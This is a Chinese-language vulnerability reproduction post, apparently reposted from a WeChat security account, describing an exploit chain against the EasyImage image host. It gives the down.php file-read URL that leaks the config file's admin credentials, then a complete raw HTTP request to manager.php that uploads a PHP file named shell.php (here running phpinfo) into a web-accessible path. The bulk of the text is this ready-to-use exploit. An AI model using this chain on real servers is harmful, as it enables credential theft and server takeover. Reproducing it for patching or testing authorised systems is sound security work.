EasyImage down.php 任意文件读取 和 manager.php 后台任意文件上传 PoC

漏洞描述：

EasyImage down.php处存在任意文件读取漏洞/manager.php 存在后台任意文件上传漏洞，攻击者可以从通过漏洞组合获取服务器权限。

漏洞复现：

执行poc获取配置文件中的账号密码

/application/down.php?dw=./config/config.php

解密md5并登录网站后台，管理后台路径：/admin。登录后执行如下poc，上传phpinfo()脚本即可得到phpinfo页面。

1.上传访问路径：
/i/helloEasyImage.php

2.poc包：
POST /admin/manager.php?p= HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: Hm_lvt_c790ac2bdc2f385757ecd0183206108d=1683531903; Hm_lpvt_c790ac2bdc2f385757ecd0183206108d=1683532070; auth=a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22admin%22%3Bi%3A1%3Bs%3A32%3A%22216b6a61b4f3e18acae156e68f5d9be4%22%3B%7D
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Length: 1066

------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dzuuid"

7e4fad9a-3545-4ed6-b655-b3e3a6b2978c
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dzchunkindex"

0
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dztotalfilesize"

583
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dzchunksize"

10000000
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dztotalchunkcount"

1
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dzchunkbyteoffset"

0
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="p"


------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="fullpath"

helloEasyImage.php
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php phpinfo();?>

------WebKitFormBoundaryEUCF9Yq83AkaO6sv--

（本文仅用作技术交流学习用途，严禁将该文内容用于违法行为）

原文始发于微信公众号（HK安全小屋）：漏洞复现 EasyImage down.php 任意文件读取 和 manager.php 后台任意文件上传